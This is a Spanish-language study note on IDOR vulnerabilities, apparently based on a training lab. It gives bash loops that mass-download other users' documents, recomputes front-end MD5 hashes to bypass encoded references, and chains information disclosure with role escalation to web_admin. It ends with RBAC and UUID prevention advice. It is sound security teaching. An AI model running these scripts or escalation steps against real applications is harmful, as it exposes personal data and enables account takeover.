> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/web-attacks/idor.md).

# IDOR

## Introducción

Los **Insecure Direct Object References (IDOR)** están entre las vulnerabilidades web más comunes. Ocurren cuando la app expone una **referencia directa** a un objeto (un archivo, un recurso de BD) que el usuario puede **controlar** para acceder a otros objetos similares.

> Si cualquier usuario puede acceder a cualquier recurso por falta de un buen **control de acceso**, el sistema es vulnerable.

Construir un control de acceso sólido es difícil → por eso los IDOR son omnipresentes. Además, **automatizar** su detección es complicado, así que suelen llegar a producción sin detectarse.

#### Ejemplo básico

Al subir un archivo recibimos un enlace:

```
download.php?file_id=123
```

¿Qué pasa si pedimos `download.php?file_id=124` (un archivo que no es nuestro)? Sin control de acceso en el back-end, accedemos a él. Si el `id` es **fácil de adivinar**, se pueden extraer muchos recursos ajenos.

### Qué hace vulnerable a un IDOR

> Exponer una referencia directa **no es** una vulnerabilidad por sí sola. Lo que la habilita es un **control de acceso débil**.

Muchas apps restringen el acceso limitando las **páginas/funciones/APIs** que recuperan los recursos. Pero, ¿qué pasa si un usuario llega a esas páginas (link compartido/adivinado)? Si el back-end **no compara** la autenticación del usuario contra la lista de acceso del recurso → accede igual.

Puntos clave:

* El IDOR existe principalmente por **falta de control de acceso en el back-end**, no solo por exponer la referencia.
* Muchos devs ignoran construir este sistema → en el back-end **todos los usuarios pueden acceder a los datos de todos**.
* Lo único que "protege" es el **front-end** (que solo muestra tus datos) → manipular las requests HTTP revela el acceso total.
* Una solución robusta es un **RBAC** (Role-Based Access Control).

> Por eso los IDOR aparecen incluso en apps enormes (Facebook, Instagram, Twitter): un control de acceso completo, que cubra toda la app sin romper funciones, es muy difícil.

### Impacto

| Tipo                        | Descripción                                                                     | Impacto                       |
| --------------------------- | ------------------------------------------------------------------------------- | ----------------------------- |
| **Information Disclosure**  | Acceder a archivos/recursos privados de otros (datos personales, tarjetas).     | Fuga de datos.                |
| **Modificación / borrado**  | Según la referencia expuesta, cambiar o borrar datos ajenos.                    | Posible **account takeover**. |
| **Insecure Function Calls** | Llamar funciones admin-only expuestas en el front pero no denegadas en el back. | **Elevación de privilegios**. |

#### Flujo del atacante

1. Identificar las referencias directas (IDs de BD, parámetros de URL).
2. Probar patrones para ver qué datos se pueden acceder.
3. Entender cómo extraer/modificar datos de **cualquier** usuario.

#### Insecure Function Calls (elevación de privilegios)

Muchas apps exponen parámetros/APIs de funciones **admin-only** en el front y las deshabilitan para usuarios normales. Si accedemos a esos parámetros con privilegios de usuario estándar y el back-end **no deniega explícitamente** a los no-admin → operaciones administrativas no autorizadas (cambiar contraseñas, asignar roles) → **takeover total**.

### Resumen rápido

| Concepto           | Detalle                                                                         |
| ------------------ | ------------------------------------------------------------------------------- |
| **Qué es**         | Referencia directa a un objeto que el usuario manipula (`file_id=123` → `124`). |
| **Causa raíz**     | Falta de control de acceso en el **back-end** (no la referencia en sí).         |
| **Front vs back**  | El front solo oculta datos; el back debe **verificar** la autorización.         |
| **Impacto**        | Info disclosure → modificación/borrado → elevación de privilegios → takeover.   |
| **Fix conceptual** | RBAC y verificación back-end de autenticación vs. recurso.                      |

> La criticidad del IDOR no viene de exponer la referencia, sino de la **ausencia de un control de acceso sólido** detrás.

## Identifying IDORs

El primer paso para explotar un IDOR es **identificar las referencias directas** a objetos. Al recibir un recurso, estudiar las requests HTTP buscando parámetros de URL o APIs con una referencia (`?uid=1`, `?filename=file_1.pdf`). También pueden estar en headers como cookies.

Vías de identificación: **parámetros/APIs**, **AJAX calls** en el front, **hashing/encoding** de referencias, y **comparación de roles**.

### 1. URL Parameters & APIs

Buscar referencias en la URL/API e **incrementar** valores para recuperar otros datos:

```
?uid=1        →  ?uid=2
?filename=file_1.pdf  →  ?filename=file_2.pdf
```

> Se puede **fuzzear** con miles de variaciones. Cualquier acceso a archivos que no son nuestros = IDOR.

### 2. AJAX Calls (funciones ocultas en el front)

Algunas apps JS colocan **todas** las funciones en el front y solo activan las que corresponden al rol. Las funciones **admin** están deshabilitadas pero **siguen en el código**.

```javascript
function changeUserPassword() {
    $.ajax({
        url:"change_password.php",
        type: "post",
        dataType: "json",
        data: {uid: user.uid, password: user.password, is_admin: is_admin},
        success:function(result){ }
    });
}
```

> Esta función quizá nunca se llame como usuario normal, pero si la encontramos en el código front, podemos **invocarla manualmente** para ver si ejecuta cambios → IDOR. Aplica también a cualquier función no visible en el tráfico HTTP normal (o en el back, si es open-source).

### 3. Entender Hashing / Encoding

Las referencias no siempre son números secuenciales; pueden estar **codificadas** o **hasheadas**. Si no hay control de acceso en el back, siguen siendo explotables.

#### Encoding (ej. base64)

```
?filename=ZmlsZV8xMjMucGRm
```

Decodificar → `file_123.pdf`. Cambiar a `file_124.pdf`, re-codificar:

```
?filename=ZmlsZV8xMjQucGRm
```

> Si devuelve datos ajenos → IDOR. El set de caracteres delata el base64.

#### Hashing (ej. MD5)

```
download.php?filename=c81e728d9d4c2f636f067f89cc14862c
```

Parece seguro, pero el código front revela **qué** se hashea:

```javascript
data: {filename: CryptoJS.MD5('file_1.pdf').toString()}
```

> Se ve que hashea el `filename` con MD5 → podemos calcular el hash de otros archivos (`file_2.pdf`, etc.). Si no vemos el código, usar **hash identifier** para detectar el algoritmo y replicarlo. Con los hashes calculados, intentar descargar → IDOR si accedemos a archivos ajenos.

| Referencia              | Técnica                            | Cómo explotar                      |
| ----------------------- | ---------------------------------- | ---------------------------------- |
| Secuencial (`uid=1`)    | Incrementar                        | `uid=2`, fuzzing.                  |
| Encoded (`ZmlsZV8x...`) | Decodificar → editar → recodificar | base64, etc.                       |
| Hashed (`c81e...`)      | Identificar qué se hashea          | Recalcular el hash para otros IDs. |

### 4. Comparar roles de usuario

Para IDOR más avanzados: registrar **varios usuarios** y comparar sus requests y referencias para entender cómo se calculan los identificadores.

Ejemplo — User1 ve su salario con:

```json
{
  "attributes": { "type": "salary", "url": "/services/data/salaries/users/1" },
  "Id": "1",
  "Name": "User1"
}
```

> User2 no debería poder replicar esta llamada. Pero teniendo estos detalles, repetimos la misma API como **User2** y vemos si la app responde. Funciona si el back solo exige **sesión válida** pero **no compara** la sesión del llamante con los datos pedidos.

Resultados posibles:

* Si podemos **calcular** los parámetros de otros usuarios → IDOR confirmado.
* Aunque **no** podamos calcularlos → ya identificamos una falla en el control de acceso del back → seguir buscando otras referencias.

### Resumen rápido

| Vía                  | Dónde mirar               | Señal de IDOR                                      |
| -------------------- | ------------------------- | -------------------------------------------------- |
| **URL/API**          | Parámetros, APIs, cookies | Incrementar `id` devuelve datos ajenos.            |
| **AJAX**             | Código JS del front       | Funciones admin-only invocables como user.         |
| **Encoding/Hashing** | Valores no secuenciales   | Decodificar/recalcular da acceso a otros recursos. |
| **Roles**            | Comparar 2+ usuarios      | Replicar la API de uno con la sesión de otro.      |

> Clave: la referencia puede estar ofuscada (encode/hash), pero si el back-end no verifica autorización, sigue siendo explotable. El front-end (incluido el código JS) suele delatar cómo se construyen las referencias.

## Mass Enumeration

Una vez identificado un IDOR potencial, se prueba con técnicas básicas para ver si expone otros datos. Para ataques avanzados hay que entender cómo la app **calcula sus referencias** y cómo funciona su control de acceso.

Aquí: desde enumeración básica hasta **recolección masiva** de datos.

### 1. Parámetros inseguros

Ejemplo: un Employee Manager. Al ir a Documents, la URL es:

```
/documents.php?uid=1
```

#### Static file IDOR (nombres predecibles)

Los archivos tienen nombres predecibles:

```
/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf
```

> El patrón usa el `uid` + mes/año → se pueden fuzzear archivos de otros usuarios. Es el IDOR más básico (**static file IDOR**), pero asume que todos empiezan con `Invoice`/`Report` → revela algunos, no todos.

#### Direct reference en parámetro

El `uid=1` es una **referencia directa** al registro. Cambiarlo a `?uid=2`:

* Con control de acceso → "Access Denied".
* Sin control → devuelve documentos ajenos.

> ⚠️ **Atención al detalle:** a simple vista la página `?uid=2` parece igual, pero mirando el **código fuente / tamaño / enlaces** se ve que son archivos distintos:

```
/documents/Invoice_2_08_2020.pdf
/documents/Report_2_12_2020.pdf
```

> Error común: poner bajo control del usuario el parámetro que decide **qué documentos mostrar**, sin control de acceso back-end. Variante: un `uid_filter=1` que se puede cambiar o **eliminar** para mostrar todos los documentos de golpe.

### 2. Mass Enumeration (script)

Acceder manual a `uid=3,4,...` no escala con miles de empleados. Automatizamos.

#### Localizar el patrón del enlace

Inspeccionar (`CTRL+SHIFT+C`) un enlace:

```html
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
```

#### Extraer los enlaces con curl + grep

Por línea única:

```bash
curl -s "http://<SERVER_IP>:<PORT>/documents.php?uid=3" | grep "<li class='pure-tree_link'>"
```

Mejor: **regex** que capture solo los paths `.pdf`:

```bash
curl -s "http://<SERVER_IP>:<PORT>/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
# /documents/Invoice_3_06_2020.pdf
# /documents/Report_3_01_2020.pdf
```

| Flag                 | Descripción                                      |
| -------------------- | ------------------------------------------------ |
| `-s`                 | curl silencioso (sin barra de progreso).         |
| `grep -oP`           | `-o` solo la parte coincidente; `-P` regex Perl. |
| `\/documents.*?.pdf` | Captura strings entre `/documents` y `.pdf`.     |

#### Script de descarga masiva

```bash
#!/bin/bash

url="http://<SERVER_IP>:<PORT>"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done
```

| Elemento                   | Descripción                              |
| -------------------------- | ---------------------------------------- |
| `for i in {1..10}`         | Itera los `uid` de 1 a 10.               |
| `curl ... \| grep -oP ...` | Extrae los enlaces de cada usuario.      |
| `wget -q $url/$link`       | Descarga cada documento silenciosamente. |

> Descarga los documentos de todos los empleados con `uid` 1-10 → IDOR explotado para **enumeración masiva**. Alternativas: Burp Intruder, ZAP Fuzzer, o un script en PowerShell.

### Resumen rápido

| Paso           | Acción                                                                                 |
| -------------- | -------------------------------------------------------------------------------------- |
| 1. Detectar    | Cambiar `?uid=1` → `?uid=2` y comparar **código fuente/enlaces** (no solo lo visible). |
| 2. Confirmar   | Los archivos devueltos pertenecen a otro usuario.                                      |
| 3. Extraer     | `curl \| grep -oP "\/documents.*?.pdf"` para aislar los paths.                         |
| 4. Automatizar | Loop sobre `uid` + `wget` → descarga masiva.                                           |

> Clave: la página puede **verse igual** al cambiar el `uid`; siempre revisar fuente, tamaño y enlaces reales para detectar que el contenido cambió.

## Bypassing Encoded References

A veces la app **hashea o codifica** sus referencias, dificultando la enumeración. Pero sigue siendo posible si podemos **reproducir** cómo se genera la referencia — sobre todo si esa lógica está en el **front-end**.

### 1. El caso: referencia hasheada

En el Employee Manager, descargar un contrato envía un POST a `download.php`:

```php
contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
```

> Usar `download.php` (en vez de enlazar el archivo directo) es buena práctica. Aquí la referencia va **hasheada en MD5**. Los hashes son funciones **de una vía** → no se pueden decodificar.

#### Intento 1 — adivinar qué se hashea

Probar si el hash coincide con el MD5 de valores conocidos (uid, username, filename...):

```bash
echo -n 1 | md5sum
# c4ca4238a0b923820dcc509a6f75849b   ← NO coincide
```

> No coincide con ningún campo simple. Podría ser un valor único o una combinación → sería un **Secure Direct Object Reference**... si no fuera por el front-end.

### 2. Function Disclosure (el fallo fatal)

Las apps en frameworks JS (Angular, React, Vue) a veces calculan funciones sensibles en el **front-end**, exponiéndolas. Si el hash se calcula ahí, lo replicamos.

En el código fuente, el enlace llama `downloadContract('1')`:

```javascript
function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}
```

Descomponiendo qué se hashea:

| Elemento                | Significado        |
| ----------------------- | ------------------ |
| `btoa(uid)`             | base64 del `uid`.  |
| `CryptoJS.MD5(...)`     | MD5 de ese base64. |
| `downloadContract('1')` | El `uid` es `1`.   |

> Entonces: **MD5( base64(uid) )**.

#### Reproducir el hash

```bash
echo -n 1 | base64 -w 0 | md5sum
# cdd96d3cc73d1dbdaffa03cc6cd7339b   ← ¡COINCIDE!
```

> **Tip:** `-n` en echo y `-w 0` en base64 evitan **newlines**; un salto de línea cambiaría el MD5 final.

Coincide con la request → revertimos la técnica de hashing → el "Secure" DOR vuelve a ser un IDOR.

### 3. Mass Enumeration

#### Calcular los hashes de los primeros 10 empleados

```bash
for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
# cdd96d3cc73d1dbdaffa03cc6cd7339b
# 0b7e7dee87b1c3b98e72131173dfbbbf
# ...
```

| Elemento     | Descripción                                              |
| ------------ | -------------------------------------------------------- |
| `tr -d ' -'` | Elimina el espacio y el `-` que añade `md5sum` al final. |

#### Script de descarga

```bash
#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://<SERVER_IP>:<PORT>/download.php
    done
done
```

| Flag curl                     | Descripción                                     |
| ----------------------------- | ----------------------------------------------- |
| `-s`                          | Silencioso.                                     |
| `-O`                          | Guarda con el nombre remoto.                    |
| `-J`                          | Usa el nombre del header `Content-Disposition`. |
| `-X POST -d "contract=$hash"` | POST con el hash como parámetro `contract`.     |

> Ejecutar → descarga los contratos de los empleados 1-10. Al reproducir el hashing, el IDOR queda explotado igual que con referencias en texto claro.

### Resumen rápido

| Paso                   | Acción                                             |
| ---------------------- | -------------------------------------------------- |
| 1. Ver la referencia   | POST `contract=<md5>` en `download.php`.           |
| 2. Intentar reversar   | `echo -n 1 \| md5sum` → no coincide.               |
| 3. Function disclosure | Leer el JS: `MD5(btoa(uid))`.                      |
| 4. Reproducir          | `echo -n 1 \| base64 -w 0 \| md5sum` → coincide.   |
| 5. Enumerar            | Loop calculando el hash de cada uid + `curl -sOJ`. |

> Clave: un hash **no** hace segura la referencia si la app calcula el hash en el **front-end**. Leer el código JS revela el algoritmo y el valor de entrada → se replica para cualquier usuario.

## Insecure APIs

Hasta ahora usamos IDOR para **leer** archivos ajenos (Information Disclosure). Pero los IDOR también existen en **llamadas a funciones y APIs** → **Insecure Function Calls**, que permiten ejecutar acciones como otro usuario: cambiar su info privada, resetear su contraseña, comprar con su pago, etc.

> Patrón habitual: obtener datos vía un IDOR de information disclosure y usarlos con un IDOR de insecure function call.

### 1. Identificar APIs inseguras

En Edit Profile, actualizar el perfil intercepta esta request:

```
PUT /profile/api.php/profile/1
```

```json
{
    "uid": 1,
    "uuid": "40f5888b67c748df7efba008e7c2f9d2",
    "role": "employee",
    "full_name": "Amy Lindon",
    "email": "a_lindon@employees.htb",
    "about": "..."
}
```

Verbos REST típicos:

| Verbo    | Uso                          |
| -------- | ---------------------------- |
| `GET`    | Obtener detalles de un item. |
| `POST`   | Crear un item nuevo.         |
| `PUT`    | Actualizar un item.          |
| `DELETE` | Borrar un item.              |

**Parámetros interesantes:** `uid`, `uuid` y sobre todo `role: employee`.

> 🔴 Problema clave: el privilegio (`role`) viaja **del lado del cliente** — en la request JSON y en una cookie `role=employee`. Al estar bajo control del cliente, se puede **manipular** para escalar privilegios... salvo que el back-end tenga control de acceso sólido.

### 2. Explotar — vectores a probar

| Ataque                           | Objetivo                    |
| -------------------------------- | --------------------------- |
| Cambiar nuestro `uid` por otro   | Account takeover.           |
| Cambiar detalles de otro usuario | Habilita otros ataques web. |
| Crear/borrar usuarios            | Con detalles arbitrarios.   |
| Cambiar `role` a admin           | Más privilegios.            |

#### Cambiar el uid propio → "uid mismatch"

```json
"uid": 2
```

> Error: **uid mismatch**. El back compara el `uid` del JSON con el del endpoint (`/1`) → hay control de acceso ahí.

#### Cambiar detalles de otro usuario → "uuid mismatch"

Cambiar el endpoint a `/profile/2` y `"uid": 2`:

> Error: **uuid mismatch**. El back verifica que el `uuid` enviado coincida con el del usuario. Enviamos el nuestro → falla.

#### Crear/borrar usuario → "for admins only"

POST a un `uid` nuevo:

> Error: **"Creating new employees is for admins only"** (igual con DELETE). El back verifica autorización, probablemente vía la cookie `role=employee`.

#### Cambiar role → "Invalid role"

```json
"role": "admin"
```

> Error: **Invalid role**. Sin conocer un nombre de rol válido, no actualiza.

### 3. El siguiente paso: probar el GET

Todos los intentos anteriores fueron **Insecure Function Calls**. Pero **no** hemos probado el **GET** de la API para **Information Disclosure**.

> Si el GET no tiene control de acceso robusto, podemos **leer los detalles de otros usuarios** (incluido su `uuid` y un nombre de `role` válido) → esa info desbloquea los ataques anteriores que fallaron.

**Ejercicio:** intentar `GET` de otros usuarios. Si es vulnerable, filtramos su `uuid`/`role` y completamos el ataque a las function calls.

### Resumen rápido

| Intento             | Verbo       | Resultado         | Bloqueo                            |
| ------------------- | ----------- | ----------------- | ---------------------------------- |
| Cambiar uid propio  | PUT         | uid mismatch      | uid JSON vs endpoint               |
| Editar otro usuario | PUT         | uuid mismatch     | uuid enviado ≠ del usuario         |
| Crear/borrar        | POST/DELETE | "for admins only" | cookie `role=employee`             |
| Escalar role        | PUT         | Invalid role      | nombre de rol desconocido          |
| **Leer otros**      | **GET**     | (por probar)      | posible **information disclosure** |

> Clave: el privilegio en el cliente (`role` en cookie/JSON) es la debilidad de diseño. Cuando las function calls están protegidas, el **GET** suele ser la vía para filtrar los datos (`uuid`, `role` válido) que hacen falta para explotar el resto → **encadenar** IDORs.

## Chaining Vulnerabilities

En la sección anterior, las function calls fallaban porque no teníamos el `uuid` de otros usuarios ni un `role` válido. Aquí **encadenamos** un IDOR de **Information Disclosure** (GET) con uno de **Insecure Function Call** (PUT/POST) para completar el ataque.

### 1. Information Disclosure vía GET

La página carga los datos del usuario con un GET a la misma API. La **única** autorización es la cookie `role=employee` (no hay JWT ni token específico).

Enviar un GET con **otro uid**:

```json
{
    "uid": "2",
    "uuid": "4a9bd19b3b8676199592a346051f950c",
    "role": "employee",
    "full_name": "Iona Franklyn",
    "email": "i_franklyn@employees.htb",
    "about": "..."
}
```

> Devuelve los datos de otro usuario → **IDOR Information Disclosure** confirmado. Lo clave: obtenemos su **`uuid`**, que antes no podíamos calcular.

### 2. Modificar datos de otro usuario

Con el `uuid` en mano, PUT a `/profile/api.php/profile/2` con los datos del usuario + nuestras modificaciones:

> Sin errores de control de acceso → **actualizado**. Ya no hay "uuid mismatch" porque enviamos el `uuid` correcto.

#### Ataques derivados

| Ataque               | Cómo                                                                                        |
| -------------------- | ------------------------------------------------------------------------------------------- |
| **Account takeover** | Cambiar el email de la víctima → pedir reset de contraseña → el link llega a nuestro email. |
| **Stored XSS**       | Payload en el campo `about` → se ejecuta cuando la víctima abre Edit Profile.               |

### 3. Encadenar los dos IDORs → escalar privilegios

#### Enumerar todos los usuarios (buscar un admin)

Con el Information Disclosure, enumerar todos los uid hasta encontrar el admin:

```json
{
    "uid": "X",
    "uuid": "a36fa9e66e85f2dd6f5e13cad45248ae",
    "role": "web_admin",
    "full_name": "administrator",
    "email": "webadmin@employees.htb",
    "about": "HTB{FLAG}"
}
```

> Ahora conocemos un **nombre de rol válido: `web_admin`**.

#### Asignarnos el rol admin

Interceptar Update Profile y cambiar nuestro `role` a `web_admin`:

> **No** aparece "Invalid role" ni error de control de acceso → el back **no valida** qué rol podemos asignarnos. GET confirma que nuestro `role` ahora es `web_admin`.

#### Usar el nuevo rol

Refrescar (o setear `Cookie: role=web_admin`) y crear un usuario nuevo con POST:

> Antes daba "Creating new employees is for admins only". Ahora **funciona** → usuario creado. La autorización dependía solo de la cookie de rol, que ya controlamos.

### 4. Mass Assignment (post-escalada)

Con el rol admin se pueden modificar campos de **todos** los usuarios:

* Inyectar XSS en todos los perfiles.
* Cambiar el email de todos a uno nuestro.

**Ejercicio:** script que recupere todos los `uuid` y envíe un PUT por cada uno con el email nuevo.

### Resumen rápido

| Fase                             | Vuln                   | Qué logra                                 |
| -------------------------------- | ---------------------- | ----------------------------------------- |
| 1. GET otro uid                  | Information Disclosure | Filtra el `uuid` de otros usuarios.       |
| 2. PUT con ese uuid              | Insecure Function Call | Modifica datos ajenos (→ takeover, XSS).  |
| 3. Enumerar → hallar `web_admin` | Information Disclosure | Descubre un rol válido.                   |
| 4. PUT role=web\_admin           | Insecure Function Call | Escala privilegios (sin validación back). |
| 5. POST/DELETE                   | Insecure Function Call | Crear/borrar usuarios como admin.         |

> Lección: la info filtrada por un IDOR (uuid, nombre de rol) **desbloquea** los ataques que antes fallaban. Encadenar Information Disclosure + Insecure Function Calls convierte varios bloqueos aislados en un compromiso total.

## Prevención

Los IDOR nacen de un **control de acceso incorrecto** en el back-end. Para prevenirlos hay que combinar dos medidas: un **control de acceso a nivel de objeto** y **referencias seguras** para esos objetos.

> Orden correcto: **primero** el control de acceso, **después** las referencias seguras. La referencia segura sin control de acceso no basta.

### 1. Object-Level Access Control (RBAC)

El control de acceso debe estar en el **núcleo** de la app. Para IDOR, lo relevante es el control **a nivel de objeto**, mejor logrado con un **RBAC** (Role-Based Access Control).

Idea: mapear el RBAC a **todos** los objetos y recursos. En cada request, el back verifica si el **rol del solicitante** tiene privilegios sobre el objeto pedido; solo entonces permite el acceso.

#### Ejemplo (regla segura)

```javascript
match /api/profile/{userId} {
    allow read, write: if user.isAuth == true
    && (user.uid == userId || user.roles == 'admin');
}
```

| Condición               | Qué hace                            |
| ----------------------- | ----------------------------------- |
| `user.isAuth == true`   | Exige sesión autenticada.           |
| `user.uid == userId`    | Solo accede a **su propio** objeto. |
| `user.roles == 'admin'` | O bien es admin.                    |

> Diferencia clave con lo que explotamos: aquí el rol se obtiene del **RBAC en el back-end** usando el **token de sesión**, no de la cookie/JSON del cliente. En los ataques previos, el `role` viajaba en la request (bajo control del usuario) → manipulable. Mapear el rol desde el back con el token es el enfoque seguro.

### 2. Object Referencing (referencias seguras)

El núcleo del IDOR es el control de acceso roto, pero tener **referencias directas** facilita enumerarlo. Se pueden usar referencias directas **solo** si hay control de acceso sólido.

#### Reglas

* **Nunca** referencias en texto claro ni patrones simples (`uid=1`).
* Usar referencias **fuertes y únicas**: salted hashes o **UUID v4**.

```
89c9b29b-d19f-4515-b2dd-abb6e693eb20
```

> Se mapea el UUID al objeto en la BD; al llamarlo, el back sabe qué devolver.

#### Dónde generar los hashes

* **Nunca** calcular hashes en el **front-end** (lo vimos: el JS delata el algoritmo).
* Generarlos al **crear** el objeto y guardarlos en la BD.
* Crear **mapas en BD** para cross-referencing rápido objeto↔referencia.

### 3. Advertencias

| Advertencia                 | Detalle                                                                                                                         |
| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
| UUIDs ocultan, no arreglan  | Dificultan detectar IDOR, pero no lo eliminan → por eso van **después** del control de acceso.                                  |
| Ataques que funcionan igual | Con control de acceso roto, repetir la request de un usuario con la **sesión de otro** funciona aunque la referencia sea única. |

### Resumen rápido (checklist)

| Capa               | Action point                                                                         |
| ------------------ | ------------------------------------------------------------------------------------ |
| **Access Control** | RBAC mapeado a todos los objetos; verificar rol vs recurso en **cada** request.      |
| **Fuente del rol** | Obtener el rol del **back-end** (token de sesión), nunca de cookie/JSON del cliente. |
| **Referencias**    | UUID v4 / salted hashes; nunca `uid=1` en claro.                                     |
| **Hashes**         | Generar en el back al crear el objeto; nunca en el front.                            |

> Con **ambos** mecanismos (control de acceso sólido + referencias fuertes) la app queda relativamente segura frente a IDOR. Uno sin el otro deja hueco: la referencia fuerte sin control de acceso sigue siendo explotable.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/web-attacks/idor.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
